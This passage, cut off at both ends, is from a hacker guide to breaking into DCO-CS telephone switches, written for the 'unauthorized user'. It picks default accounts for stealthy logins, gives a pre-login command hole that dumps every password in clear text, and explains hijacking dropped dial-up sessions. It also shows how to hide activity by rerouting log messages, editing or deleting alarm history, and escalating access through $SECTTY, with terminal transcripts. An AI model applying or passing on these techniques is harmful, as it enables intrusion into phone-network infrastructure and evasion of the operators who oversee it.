number of instances. Plus, it is important to consider that the efficient and stealthy employment of the techniques that follow may not always be practical or possible, so this general method of remaining proverbially "under the radar" is fundamentally beneficial. An explanation of the various groups/default accounts follows: ADMIN - This is an administrative group/account, used primarily for the purposes of administering the various tables and databases on the switch, especially those that pertain to network/routing functions. What the authors of the previously mentioned DCO articles obviously failed to realize, in their insinuations to the effect that ADMIN is an all-powerful account with extremely extensive access rights, is that ADMIN is merely another account with access rights defined according to the necessary tasks of its group. It lacks access to a great deal by default, actually, especially files and utilities concerning switch security. The access rights of ADMIN often overlap with those of MAINT; therefore, it is necessary to understand the differentiations between them, revealed through a closer examination of the areas in which the two accounts/groups do not overlap. MAINT, as explained in greater detail later, is an account intended to be used for the performance of routine maintenance functions-the administration of such tables is not routine maintenance, as is reflected in the access rights of the MAINT group/account. The default access of the admin account may also be conceptualized as the bridge of sorts between "intra-switch" and "extra-switch" functions-that is, functions (and corresponding utilities/files) that are related only to the switch itself (intra-switch), and those with a broader sphere of influence on the network (extra-switch). See the "Utility Diagram" for more information on and examples of this concept. Examples of strictly intra-switch functions include disk operations, processor operations, debugging, etc.-similarly, examples of extra-switch functions include call tracing, routing, trunk operations, WATS number functions, etc. ADMIN by default also has access to intra-switch administrative utilities such as ABNUTL (PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS), AUDIT (VERIFY S/W RECORD OF H/W STATES MATCH ACTUAL H/W), COPY (COPY DATABASES FROM MEMORY TO DISK), etc. where it overlaps with MAINT. SECURE - The access of SECURE largely overlaps with all other account groups on the utilities to which all or nearly all other account groups have default access ($ABORT, $AMPUTL, $CONFIG, $DUMPER, $HEY, etc.). Its specialization is revealed, though, in the utilities accessible only by it and SCAT, or it, SCAT, and MAINT. These include various alarm utilities, $PASSWM, $BLDINH, and $SECTTY-all utilities regarding switch security, as the name of the group implies. In a limited number of cases SECURE may be less conspicuous than SCAT if only these sorts of utilities must be accessed. TMRS - This group/account is primarily intended for uses related to the Traffic Measurement and Recording System (TMRS), a system that gauges network traffic through the switch and generates reports with pertinent information. On a side note, TMRS may often be an active task on the master console. It is able to access many intra-switch functions necessary to the expedient operation of TMRS, as might be assumed-debug utilities, configuration control, etc. Its access rights frequently overlap with those of ADMIN and STATUS. SCAT - The closest group/account present on the DCO-CS to a "superuser". SCAT is an acronym for "Stromberg-Carlson Assistance Team", the DCO-CS equivalent of ETAS on a DMS-100. The function of SCAT, while the DCO-CS product line was supported by Stromberg-Carlson/Siemens, was to provide technical support for the install base in the instance of technical problems/failures, especially during emergencies (critical equipment failure, software issues, etc.). As a result, SCAT is authorized by default to access nearly everything on the switch within the filesystem, usually with the highest access rights possible (typically RWX), as, in the event of an emergency, such omnipotent access would be vitally necessary. The RWX permission is a significant distinction of the SCAT group as most other account groups only have read/execute permission on most files. However, there are a few files on the switch that SCAT is not permitted to access (by default, naturally)-for instance, the utility $AMCDMP (that which administers AMA message thresholds). By default, SCAT is often the only account/group authorized to log in through the dial-up ports, as only SCAT would usually require remote access to the switch. Logging in as SCAT is extremely conspicuous, though, particularly at odd hours, as the account/group is NOT supposed to be used for routine/ordinary tasks. It would be advisable from an unauthorized user's standpoint to perhaps log in as SCAT once in order to authorize other account groups to log in through the dialup(s), until the attentiveness of those overseeing the switch's operation is gauged. MAINT - MAINT is the general maintenance group/account on the DCO-CS; as stated previously, it is used primarily for the performance/execution of routine (and non-routine) tasks related to switch maintenance. As such, it is authorized to access a great deal, often exclusively, where SCAT is the only other account group with access rights on certain files. MAINT is the only default account group/account, in fact, that is "exclusively" authorized to access certain utilities in this manner. AMA is an example of a such a utility to which only MAINT and SCAT have access rights in the default/typical configuration. As might be expected, MAINT is mainly able to access intra-switch functions. One preferred, recommended account for preliminary exploration is MAINT, for it, as a maintenance account, is by default enabled to access quite a few significant files and programs, and suspicions may be less aroused should it be seen logging in at odd hours and/or constantly. STATUS - The STATUS group/account is, as its name implies, used for checking and occasionally modifying the status of the system. Its access overlaps frequently with ADMIN, MAINT, TMRS and, of course, SCAT; the default access of STATUS is confined to "intra-switch" utilities and the occasional utility not easily classified as either "intra-" or "extra-" switch. Most of the utilities to which STATUS is assigned default access are used for such functions as alarm management, various types of verification, disk functions, conversion of equipment numbers, etc. NAC - NAC is an acronym for "Network Access Control"-the administration charged with overseeing the various pieces of equipment connected to the network and general network interactions. Expectedly, its default access mainly lies with "extra-switch" network utilities and the those used to modify the aforementioned tables, also accessible with ADMIN. The NAC terminal and thus group may not be equipped on a particular switch (see "$SECTTY"), so it may not be possible to log in under the NAC default account. ESPF - ESP denotes, "Essential Service Protection". Along with ADMIN, NAC and SCAT, ESPF is typically able to access "extra-switch" utilities such as those related to routing, the hotline database, INWATS, class of service, etc., all "essential services". As with NAC, the "ESPF option" may not be equipped on a particular switch, and thus the account/group associated with it may be unused. The $STATUS utility may be used to determine if it is equipped: STA> AREA TO DISPLAY (AREA=HELP) > ESPF DCO_CITYDATA 09-00-00 00:00:00 MONDAY ESPF STATUS REPORT: STATUS: ESPF OPTION NOT EQUIPPED STATUS COMPLETE Attainment of Access -------------------- Upon connecting to a TTY via a dialup or another method, the LOGIN utility is invoked automatically, which will prompt the user for the username and password necessary to log in. By default ten attempts at login (entries of a username and password pair) are permitted before the following message is displayed, indicating an excess of unsuccessful attempts: DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01 MP .0676:TTY=TT1 EXCESSIVE LOGIN ATTEMPTS Subsequently the user will be "locked out" of the terminal for a period of approximately five minutes in which the system remains unresponsive to input. The amount of login attempts made is not "reset" if one disconnects from the dialup/terminal and reconnects; instead, the tracking of login attempts is based upon time-one must wait a few minutes prior to attempting ten more login attempts. Unauthorized Execution- Prior to logging on to the switching station, the user is required within approximately 15 seconds following successful connection to send a hard break or a in order to display the prompt. Within this 15 second period a vulnerability exists whereby a valid MMI (man-machine interface) command typed and sent will be dutifully executed by the DCO, allowing temporary control of the MMI command flow to anyone calling the dialup! Potential for great compromise of the system exists if the attacker runs a command such as $PASSWM, which prints a complete list of user accounts and passwords on the switch in clear-text! Note: on the latest software release, that released in 2003, the maintenance processor (MP) must be experiencing a malfunction or otherwise be bogged down with an influx of tasks for this technique to work properly. Of all of the vulnerabilities presented here the execution of this is the most variable-it has been known to occur, though, in instances of an MP malfunction, specifically on the DCO-SE (see "An Additional Note:" for more information). Absence of Automatic Logout- Like several older versions of UNIX, the DCO-CS does not automatically log out of a session in the instance of user disconnection from the dialup/terminal. Anyone calling the switch will be thus enabled to "drop in" on the other user's session in all aspects, in addition to being able to execute commands if a user left the session open while hanging up the connection/modem. This is task-specific-that is, if a task is not aborted and the user who executed it hangs up, the sub-prompt for that task will be displayed to anyone calling the switch thereafter as that task will be active. This state may include tasks only supposed to be executable by user accounts with higher levels of access. The sole measure necessary to ensure success in gaining control of a session and hence potentially the entire switch (as access may be modified- privileges escalated, depending upon the account temporarily "hijacked" in this fashion, etc.) is to consider the time zone in which the object switch is located, in order to determine prime hours of operation and of account access and usage. In the instance that the would-be intruder is physically unable to monitor the dialup/port for dropped sessions and exploit them, a simple script written in a language compatible with the terminal client of choice is all that is required. Thus, this single characteristic of the switch-among others, it is certain, seen previously and henceforth in this admittedly alinear document-ensures that one who accrues the knowledge of a dialup is very nearly guaranteed successful infiltration/ penetration of it, even in the face of other, also ineffective barriers erected presumably for purposes of security. However, one may experience a limited degree of difficulty with this method of intrusion in the instance that one has logged in via the dialup port and properly logged out, in which case another one of the aforementioned loopholes may be traversed in order to gain eventual unfettered access. Also, an option does exist within the $SECTTY utility (discussed forthwith) to activate an idle logout on a particular TTY, but even this will not log a user out until an extended period of complete inactivity has passed-it is still possible to connect to a terminal and resume a session with this option activated, if one connects within this said window of time. It is a trivial matter indeed to automatically and repeatedly call a dialup in order to connect just after a user's activity has ceased (indicating a departure from the terminal) and prior to the auto-logout due to inactivity. Regardless, this is not a default setting, and it is perhaps quite rare that one will encounter it. Passive Observation- A rather simple means through which to learn various information pertaining to a DCO, that which may prove ultimately useful in the attainment of access thereto, is merely that of passive observation of the information messages that are displayed even prior to a login-i.e., monitoring the dialup. This tendency to display status and other messages to anyone who calls a dialup is quite unique to the DCO, although other switches such as the EWSD exhibit this characteristic as well. Only messages ordinarily broadcast to all ports (or the dial-in TTYs, at least) are displayed prior to login, with the most common utility to which these messages pertain the $SNCUTL (Synchronous Network Clock Utility). One explanation for this idiosycrasy lies in the fact that, when one calls a DCO dialup, one is automatically connected to the corresponding TTY-the login prompt/program is simply another utility executed like any other (notably, the prompt itself reveals this-the "LOG>" portion is of the similar format to all other utility menu prompts-the first three letters of the utility + ">") except that it is executed automatically upon connection if LOGOFF has been during the last session from that TTY, as opposed to a front-end program that must be satisfied with proper credentials in order to connect to the switch at all. In other words, LOGIN technically serves to restrict access to the remainder of the utilities and files on the switch through the MMI rather than access to the MMI itself. Concealment of Presence ----------------------- Although the DCO, as has been previously demonstrated, does not exhibit PREVENTIVE security measures implemented with any degree of rigor, there does exist a simple yet potentially effective means of detection of potentially suspicious activity of those with access to the switch: extensive logging. The majority of actions performed within the MMI are relentlessly logged and broadcast, in messages of the following format: DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01 MP .0354:TTY=TT1,USERNAME=MAINT LOGGED IN The date, time, program executed or file accessed (if applicable), port of origination, sortkey, terminal, and message in ASCII text comprise, in that order from left to right, top to bottom, the message, the likes of which is output by default to the local terminal in addition to the console (TT00), where the attentive administrator or technician will undoubtedly notice odd or unexpected activity, such as logins during strange hours, execution of programs outside of the aforementioned sphere of tasks of a particular account, activity on a particular port that may differ from that upon which the account/user logged in is ordinarily present, etc. The potential negative impact of this upon the maintenance of one's (presumably unauthorized) access should be evident; fortunately for the unauthorized user, there exist a small variety of methods using a few key utilities to mitigate the effect of these messages. Defeating the Printing and Logging of Status Messages- Although it is not directly preventive and thus not a strictly classified "security" measure, the constant deluge of status messages pertaining to the execution and exit of utilities, etc., especially that of the LOGIN and LOGOFF utilities, presents a challenge to potential intruders as they are by default broadcast to the console (TT00). These messages are identified by "sortkeys" of the format XXX.0000 or XX.000, where XX(X) are two or three letters signifying the classification/type of the message and the zeroes the number of the exact message, which is either three or four digits in length. Sortkey numbers of three digits in length may be typed with a preceding zero (MP.0354 or MP.354) as well. A list of sortkey prefixes (or "groups") follows, provided by $AMPUTL, which is discussed elsewhere in this document: AMP> SORTKEY (SORTKEY=HELP) > VALID RESPONSES ARE GROUP TYPES FOLLOWED BY A GROUP NUMBER YYY.XXXX YYY IS THE ALPHA QUALIFIER FOR THE GROUP TYPE XXXX IS THE NUMERIC QUALIFIER FOR THE GROUP NUMBER * , YYY.* CAN BE USED FOR ALARMS WITHIN A GROUP 'DONE' CAN BE USED TO TERMINATE THE PROMPT IF THE TASK IS IN A REPEAT MODE ACI.XXXX - ALARM COMMUNICATION INTERFACE ADM.XXXX - ADMINISTRATIVE ALT.XXXX - AUTOMATIC LINE TESTING AMA.XXXX - AUTOMATED MESSAGE ACCOUNTING CBC.XXXX - COMMUNICATION BUS CONTROLLER CLC.XXXX - COMMUNICATION LINK CONTROLLER CLK.XXXX - SNC, ANI, CLOCKS CP.XXXX - CALL PROCESSOR ALARMS CPE.XXXX - CALL PROCESSOR ERROR ALARMS CUS.XXXX - CUSTOMER GENERATED ALARMS DLI.XXXX - DATA LINK INTERFACE DS1.XXXX - DIGITAL T-1 SPAN MODULE ALARMS ENV.XXXX - ENVIORNMENTAL ALARMS FP.XXXX - FEATURE PROCESSOR LGC.XXXX - LINE GROUP CONTROLLER AMP> ADDITIONAL HELP (MORE=YES) > LIN.XXXX - LINE LSC.XXXX - LINE SWITCH CONTROLLER LTC.XXXX - LINE TEST CONTROLLER MAH.XXXX - HOST MESSAGE ASSEMBLER MAR.XXXX - REMOTE MESSAGE ASSEMBLER MCC.XXXX - MCC ALARMS MCI.XXXX - MAINTENANCE COMMUNICATION INTERFACE MDC.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 1 MD2.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 2 MIC.XXXX - MESSAGE INTERFACE CONTROLLER MP.XXXX - MAINTENANCE AND ADMINISTRATION PROCESSOR PWR.XXXX - POWER ALARMS RLG.XXXX - REMOTE LINE GROUP RNG.XXXX - RINGING RPL.XXXX - REMOTE POLLED LAMA SLC.XXXX - SLC-96 SS7.XXXX - SS7 ALARMS SSC.XXXX - SIGNALLING SYSTEM CONTROLLER SVC.XXXX - SERVICE CIRCUITS TMP.XXXX = TMP ALARMS TON.XXXX - TONE AMP> ADDITIONAL HELP (MORE=YES) > TPP.XXXX - TELEPHONY PRE-PROCESSOR TRK.XXXX - TRUNK TST.XXXX - TEST ALARMS The knowledge of the sortkey of a particular message is necessary to alter or display data associated with that message within the following utilities. Sortkeys may be identified in messages as seen above, or looked up in the $AMPUTL utility. The messages are quite inherently extensive in their reporting of the conditions in which the task reported upon was executed; thus, they provide an extremely incriminating record of unauthorized or "odd" activity on the switch. The author is personally aware of at least one specific instance in which an individual's access to a DCO was permanently terminated due to precisely this-the astute viewing of messages printed to the console and elsewhere culminating in a realization of unauthorized activity. It is therefore extremely important for the unauthorized user to control when, how, and where these messages are printed. There exist to this end a few effective methods by which to thwart the tracking of one's activity on the switch using the utilities and access available as a segment of the MMI. It is recommended that all of these be used in combination, in order to ensure maximum possible stealth. All are generally individually limited by the existence of the logging measures defeated by the others; for instance, the use of the command parameter /NODIAL is assistive in concealing one's presence, but the storage and direction of information messages generated by utilities/programs will require the use of $AMPUTL to protect most fully the secrecy of usage. The /NODIAL Parameter- Within the DCO MMI there are certain parameters that may be affixed to command strings in order to handle the input and output of commands. /NODIAL is one such parameter. It is an abbreviation for "NO DIALOGUE", indicating that the execution of a command/menu option to which it is affixed will not be itself reported to the defined termination points (the ports/TTYs to which the message is sent/printed). Alternately conveyed, one through the use of /NODIAL avoids the printing of this sort of "BEGIN/END DIALOGUE" message: DCO_CITYDATA 09-00-00 00:00:00 ADMIN TT01 M ADM.0000: ADMIN BEGIN DIALOGUE The begin/end dialogue messages may not be manipulated through $AMPUTL or the other following utilities, since the sortkey ADM.0000 is not recognized by them as valid. ADM.0000 is a universal sortkey of sorts, used to signify all "begin dialogue" messages for all utilities/programs; it is thus unassigned to any particular message. Likewise, sortkey ADM.0001 universally signifies all "end dialogue messages", and is unassigned therefore as well. An attempt to alter or display a message with sortkey ADM.0000 through $AMPUTL will prompt the following output: AMP> SORTKEY (SORTKEY=HELP) > ADM.0000 AMPUTL: SORTKEY IS UNASSIGNED /NODIAL will offer one a degree of anonymity, then, but it does not prevent certain messages from being printed/displayed. Thwarting Information Messages With $AMPUTL- A method exists to defeat the broadcast of messages using the $AMPUTL command, the likes of which entails the use of the Alarm Message Processing Utility, a program accessible to all default groups. The AMPUTL menu system is as follows: $AMPUTL AMP> FUNCTION (FUNCTION=HELP) > CHANGE - CHANGE MESSAGE DISPLAY - DISPLAY MESSAGE EXIT The "DISPLAY" option will display the text of the message itself in addition to other information pertaining to it, such as the termination points, alarm level (if applicable), etc. Here is an example of the output of "DISPLAY" for sortkey MP.0354, which identifies the message that a user has logged into the switch: AMP> FUNCTION (FUNCTION=HELP) > DISPLAY AMP> SORTKEY (SORTKEY=HELP) > MP.0354 SORTKEY ENTRY MP .354 LOGGED IN ALARM LEVEL NONE INFORMATION MESSAGE NO ACI INTERFACE, TERMINAL LIMIT 0 TERMINATION POINTS ARE CONSOLE, TI:, The first field obviously contains the sortkey used to identify the message, the second line/field the ASCII text of the message, the third field the alarm level, (which is here "NONE" since the logging in and out of users does not activate an alarm), the fourth the type of message, the fifth the type of interface and terminal limit associated with the message, and the final field the termination points. Using the "CHANGE" option to alter the properties of any particular message, a multitude of options may be set, but most importantly the text and termination points of the message may be altered, presenting two possible venues to negate the revealing effect of such messages. The termination point may be set thus to the initiating terminal only, or the text of the message may be altered to suit the needs of an intruder. A list of attributes that may be altered through CHANGE follows: AMP> FUNCTION (FUNCTION=DISPLAY) > CHANGE AMP> FIELD (FIELD=HELP) > ADMINISTERABLE FIELDS ARE: EXIT - EXIT AMPUTL ^ - QUIT CHANGE WITHOUT UPDATING DONE - UPDATE DATABASE ON DISK ACI - ALARM CONTROL INTERFACE DELAY - DELAY ALARM SENDING E2A - E2A ADDRESS FEI - FAULT, ERROR, OR INFORMATION GROUP - GROUPING NUMBER LEVEL - ALARM LEVEL LIMIT - TERMINAL LIMIT MASKABLE - MASKABILITY FLAG REPEAT - REPEAT FLAG TERMPT - TERMINATION POINTS TEXT - ASCII TEXT (OUTPUT MESSAGE) RLS - RLS ALARM MESSAGE BMP - BMP LED ASSIGNMENT To alter the termination points of the message, thereby instructing the switch to print it only to certain specified terminals/TTYs, TERMPT is entered at the FIELD prompt: AMP> FIELD (FIELD=HELP) > TERMPT TERMPTS ARE CONSOLE, TI:, The current termination points of this message were, as displayed, the console and TI (initiating terminal). Numerous devices are then presented which may be set as termination points for the message: AMP> DEVICE (DEVICE=HELP) > EXIT - EXIT FROM MASKING UTILITIES ^ - BACKUP TO PREVIOUS PROMPT DONE ALL - ALL PORTS CONSOLE - SYSTEM CONSOLE NAC - NAC TERMINAL RLS - RLS TERMINAL AMATPS - AMATPS MESSAGE FILE TT00-TT31 - ANY PARTICULAR TTY TI - INITIATING TERMINAL For maximum stealth it would be advisable to set the termination points of a message to the initiating terminal only, so that it will be displayed only on the remote user's terminal, here TT01, when it is invoked by said user: AMP> DEVICE (DEVICE=HELP) > CONSOLE AMP> STATUS (STATUS=HELP) > REMOVE ADD ^ EXIT AMP> STATUS (STATUS=HELP) > REMOVE AMP> DEVICE (DEVICE=DONE) > AMP> FIELD (FIELD=HELP) > TERMPT TERMPTS ARE TI:, AMP> DEVICE (DEVICE=HELP) > DONE AMP> FIELD (FIELD=DONE) > AMP> FUNCTION (FUNCTION=CHANGE) > Following this procedure, the termination point of the message MP.0354 is set only to the initiating terminal; when a user logs in from TT01, the information message announcing it will only be displayed on his/her terminal and will not be printed to the console. It would be most useful for an unauthorized user to set the termination points of the following few messages to TI only: MP.0354 (LOGGED IN), MP.0343 (LOGGED OFF), MP.0676 (EXCESSIVE LOGIN ATTEMPTS), MP.0002 (FILE NOT FOUND ON DISK), MP.0461 (INVALID NAME) and MP.0733 (INVALID TASK NAME) as these will commonly and naturally, as a matter of course, be displayed through navigation into and around the switch and reveal glaringly more than any other information or error messages an unauthorized presence. Monitoring Other TTYs and Redirecting Messages With $UTL- Occasionally during the course of switch use it may prove useful to monitor and manage tasks active on other terminals and to redirect I/O. The Utility Program ($UTL) may be employed to accomplish these and other functions related to task management. Unlike other utilities discussed throughout, the "function codes" of $UTL must be entered in a single string on the command line: $UTL /NODIAL DCO_CITYDATA 09-00-00 00:00:00 TUESDAY UTILITY PROGRAM UTL:INVALID FUNCTION CODE DCO> $UTL HELP /NODIAL DCO_CITYDATA 09-00-00 00:00:00 TUESDAY UTILITY PROGRAM FUNC DESCRIPTION FORMAT EXAMPLES ==== ======================= =============== ACT ACTIVE TASK LIST ACT OR ACT ALL OR ACT TERM OR ACT TERM:TT06 OR ACT ALL TERM OR ACT ALL TERM:TT06 ATB AUTO TRUNK MAKE BUSY ATB 122.:ON=50. OR ATB 37.:OFF BRO BROADCAST MESSAGE BRO TT02 HELLO OR BRO ALL REBOOT DMO DISMOUNT DEVICE/FEATURE DMO I1: OR DMO CNTRL OR DMO REQUIRED OR DMO LSXWRI 430 MOU MOUNT DEVICE/FEATURE (SEE DMO EXAMPLES) PRI STATIC PRIORITY PRI OR PRI STATUS OR PRI STATUS=100 RED REDIRECT TASK I/O RED STATUS:TT01 RPR RUN PRIORITY (SEE PRI EXAMPLES) SCED SCHEDULED TASKS SCED TID TERMINAL ID QUERY TID ACT will display a list of active tasks based upon the parameter entered. As seen in the capture, to display tasks active on a particular terminal, one would enter: $UTL ACT TERM:TTXX ATB will busy out a specified trunk, BRO will broadcast a message to another terminal, PRI sets priority of tasks, and DMO/MOU will mount or dismount devices/features. Possibly the most useful function of UTL is RED, which may be entered to redirect the I/O of a task to another terminal as seen in the format example in the capture. Reports generated with numerous other utilities might be printed elsewhere, etc. TID or "TERMINAL ID QUERY" will simply display the terminal that one is currently using, similar to the "tty" command in DMERT/UNIX-RTR/5ESS UNIX on a Lucent 5ESS. $UTL TID /NODIAL DCO_CITYDATA 09-00-00 00:00:00 TUESDAY UTILITY PROGRAM TERMINAL ID => TT01 Rerouting Messages with $RRTUTL- The $RRTUTL utility may be used to reroute messages destined for a particular TTY and to display message routing to terminals. RRT> FUNCTION (FUNC=HELP) > VALID FUNCTIONS ARE: LIST - LIST ALL LOCAL OR REMOTE TERMINAL ROUTING DISPLAY - DISPLAY ONE LOCAL OR REMOTE TERMINAL ROUTING CHANGE - CHANGE ONE LOCAL OR REMOTE TERMINAL ROUTING EXIT - EXIT OUT OF THIS OVERLAY RRT> FUNCTION (FUNC=HELP) > DISPLAY RRT> DATABASE (DATABASE=HELP) > ENTER ROUTING DATABASE TYPE - LOCAL OR REMOTE LOCAL - ROUTING OF MESSAGES VIA THE TERMINAL NUMBER OR BY SORTKEYS REMOTE - ROUTING OF RNS/RLS-4000 MESSAGES VIA THE NODE NUMBER RRT> DATABASE (DATABASE=HELP) > LOCAL RRT> TYPE OF TERMINAL (TYPE=HELP) > ENTER TERMINAL #, OUTPUT DEVICE PSEUDO NAME OR SORT KEY THAT IS TO HAVE ITS MESSAGES REROUTED RRT> TYPE OF TERMINAL (TYPE=HELP) > TT01 RRTUTL: INVALID TYPE ENTERED - TT01, PLEASE RE-ENTER RRT> TYPE OF TERMINAL (TYPE=HELP) > 01 PORT 1 HAS NO FAILOVER PORT PORT 1 HAS NO REROUTING RRT> FUNCTION (FUNC=DISPLAY) > RRT> DATABASE (DATABASE=LOCAL) > RRT> TYPE OF TERMINAL (TYPE=01) > 00 PORT 0 HAS FAILOVER PORT = 1 PORT 0 REROUTE TO PORT 1 PORT 0 REROUTE TO PORT 2 RRT> FUNCTION (FUNC=DISPLAY) > RRT> DATABASE (DATABASE=LOCAL) > RRT> TYPE OF TERMINAL (TYPE=00) > 02 PORT 2 HAS NO FAILOVER PORT PORT 2 HAS NO REROUTING RRT> FUNCTION (FUNC=DISPLAY) > RRT> DATABASE (DATABASE=LOCAL) > RRT> TYPE OF TERMINAL (TYPE=02) > 03 PORT 3 HAS NO FAILOVER PORT PORT 3 HAS NO REROUTING RRT> FUNCTION (FUNC=DISPLAY) > RRT> DATABASE (DATABASE=LOCAL) > RRT> TYPE OF TERMINAL (TYPE=03) > 04 PORT 4 HAS NO FAILOVER PORT PORT 4 HAS NO REROUTING RRT> FUNCTION (FUNC=DISPLAY) > EXIT /NODIAL As seen in the captures, messages destined to port 0 (the system master console, TT00) will reroute to ports 1 and 2 (TT01 and TT02). Defeating Alarm Logging with $HSTUTL- As may be discovered through interactive use of the $AMPUTL utility, information messages (such as notification of user login/off) and alarm messages are distinctly categorized, although the broadcast method used for both is identical. With the use of any hacker/inexperienced user of the switch lies the possibility that mistakes will be made and alarms activated. Alarms, in certain situations, may reveal an unauthorized presence on the switch, and as such must be for purposes of stealth silenced. Such an occurrence is highly unlikely, however, and one exploring a DCO without authorization would be well advised to refrain from tampering with the alarms stored on the switch as they are often diagnostically essential to switch maintenance; the deletion of crucial alarms not yet reviewed by maintenance would be potentially perilous indeed. In any case, alarm messages are logged in history files stored on the disk and accessible through $HSTUTL. These history files are classified into numbered "controllers" based upon the type of alarms with which they are concerned, and the "data files" of the alarm messages themselves. Operations on controllers provide a general overview of the alarm logs without the need to view specific, dated messages. The menu system of HSTUTL: $HSTUTL /NODIAL HST> FUNCTION (FUNC=HELP) > EXIT - EXITS HSTUTL DISPLAY - DISPLAYS SINGLE HISTORY FILE LIST - LISTS ALL HISTORY FILES ADD - ADD A NEW HISTORY FILE ENTRY DELETE - DELETE A HISTORY FILE ENTRY CHANGE - CHANGE AN EXISTING HISTORY FILE ENTRY BRIEF - GENERATE BRIEF HISTORY REPORT With "DISPLAY", one may display either a controller or a data file; as per usual, the "LIST" option will either list all controllers in output complete with references and occurrences, or all data files associated with a particular controller. HST> FUNCTION (FUNC=HELP) > LIST HST> CONTROLLER OR LOGGING (TYPE=HELP) > EXIT - EXITS HSTUTL CONTROLLER - HISTORICAL LOGGING CONTROLLER FILE LOGGING - HISTORICAL LOGGING DATA FILE HST> CONTROLLER OR LOGGING (TYPE=HELP) > CONTROLLER CONTROL NAME REF OCCUR. MATCH TYPE ------- ---------------------------------------- ----- ------ ---------- 0 SGD ALARMS 109 10 NONE 3 SYNC ALARMS 42 10 NONE 5 SWC ALARMS 74 10 NONE 6 TPP MISMATCH ALARMS 1 10 NONE 7 STATE 1 1 10 NONE 8 STATE 2 1 10 NONE 9 STATE 4 1 10 NONE 10 CBC RESTARTED/STARTUP COMPLETE 2 10 NONE 11 LSC STARTUP COMPLETE 1 10 NONE 12 FP RESTORE/STARTUP COMPLETE 3 10 NONE 13 EXTENDED NON-SYNCHRONOUS OPERATION 1 1 NONE 14 MP STARTUP COMPLETE 1 10 NONE HST> FUNCTION (FUNC=LIST) > HST> CONTROLLER OR LOGGING (TYPE=CONTROLLER) > LOGGING HST> CONTROLLER NUMBER (CONT=HELP) > 0 CONTROL NAME REF OCCUR. MATCH TYPE ------- ---------------------------------------- ----- ------ ---------- 0 SGD ALARMS 109 10 NONE DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00 ** PWR.0001: BATTERY CHARGER FAILURE (SGD) DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00 ** PWR.0001: BATTERY CHARGER FAILURE (SGD) DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00 ** PWR.0001: BATTERY CHARGER FAILURE (SGD) DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00 ** PWR.0001: BATTERY CHARGER FAILURE (SGD) DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00 MP .0098:CMF=000,SIDE=X REFERENCE TIMING DEVIATION DCO_CITYDATA 09-00-00 00:00:00 SWITCH TT01 CLK.0009:CMF=000,SIDE=Y MASTER CLOCK SWITCHED TO ONLINE (SGD) With "CHANGE" one may alter a history file entry, and one may delete an existing one with, naturally, "DELETE". Escalation of Privileges ------------------------ In many cases it may be necessary for the unauthorized user to escalate the privileges of a particular account to which access has been attained, or to obtain access to the switch through another account entirely with alternate privileges. The purposes or motives behind such an attempt at privilege escalation may be directed at expansion of one's ability to ability to explore the switch, or perhaps to the end of stealth itself; as has been demonstrated previously and heretofore, the specialization of accounts may restrict one's access to utilities necessary for concealment. Both superficial methods and those requiring one to delve more deeply into the heart of the switch, as it were, exist naturally to this end. $SECTTY- As an attempted security measure to counter the general problem of nearly universally used defaults, it may be impossible to login with any account other than SCAT from the dial-in ports; however, SCAT is authorized to execute the command $SECTTY, which sets attributes such as terminal logins. It is therefore possible to individually add users to the list of those authorized to log in from, as an example, TT01, or to create a new user group, assign all of the desired users/accounts to it, and authorize said group to log in from TT01. Restricted access to the file system as well as to certain ports and utilities is one of the primary security measures employed by the DCO-CS to limit user access based upon necessity. DCO> $SECTTY DCO_CITYDATA 08-00-00 00:00:00 SECTTY TT01 M ADM.0000: SECTTY BEGIN DIALOGUE SEC> FUNCTION (FUNC=HELP) > THE FOLLOWING IS A LIST OF VALID FUNCTIONS : SETCON - SET SYSTEM CONSOLE SETNAC - SET NAC TERMINAL ADD - GROUP TO TERMINAL ACCESS DELETE - GROUP FROM TERMINAL ACCESS DISPLAY - EQUIPPED TERMINAL ACCESS RIGHTS DEFINE - NEW GROUP NAME REMOVE - EXISTING GROUP NAME RESTRICTION - SET UP FUNCTION LEVEL RESTRICTION FOR GROUP LIST - VALID GROUP NAMES SETTYP - SET TERMINAL TYPE SETATT - SET TERMINAL ATTRIBUTES EXIT - EXITS SECTTY SEC> FUNCTION (FUNC=HELP) > DISPLAY SEC> TTY NUMBER (TTY=HELP) > VALID TTY NUMBERS ARE: 0-31 SEC> TTY NUMBER (TTY=HELP) > 00 SECTTY - TERMINAL ACCESS RIGHTS TTY GROUP ------------------- 0 SCAT SEC> FUNCTION (FUNC=DISPLAY) > SEC> TTY NUMBER (TTY=00) > 01 SECTTY - TERMINAL ACCESS RIGHTS TTY GROUP ------------------- 1 SCAT SEC> TTY NUMBER (TTY=4) > 3 SECTTY - TERMINAL ACCESS RIGHTS TTY GROUP ------------------- 3 SCAT SEC> FUNCTION (FUNC=DISPLAY) > LIST SECTTY - VALID GROUP NAMES GRP# GRP NAME RESTRICTION WORD 15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC ------------------------------------------------------------- 1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 2 TMRS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 3 STATUS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 4 MAINT 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 5 SECURE 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 6 NAC 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 7 ESPF 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 8 UNDEFINED 9 UNDEFINED 10 UNDEFINED 11 UNDEFINED 12 UNDEFINED 13 UNDEFINED 14 UNDEFINED 15 UNDEFINED 16 SCAT 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 SEC> FUNCTION (FUNC=DISPLAY) > ADD SEC> GROUP NAME (NAME=HELP) > MAINT SEC> TTY NUMBER (TTY=00) > 01 SECTTY: GROUP ADDED FOR TTY 1 SEC> FUNCTION (FUNC=ADD) > EXIT Terminal access rights/privileges are defined, as seen in the captures, through the bit configuration of a "restriction word" for each group. Group access may also be manipulated through the modification of this word. SEC> FUNCTION 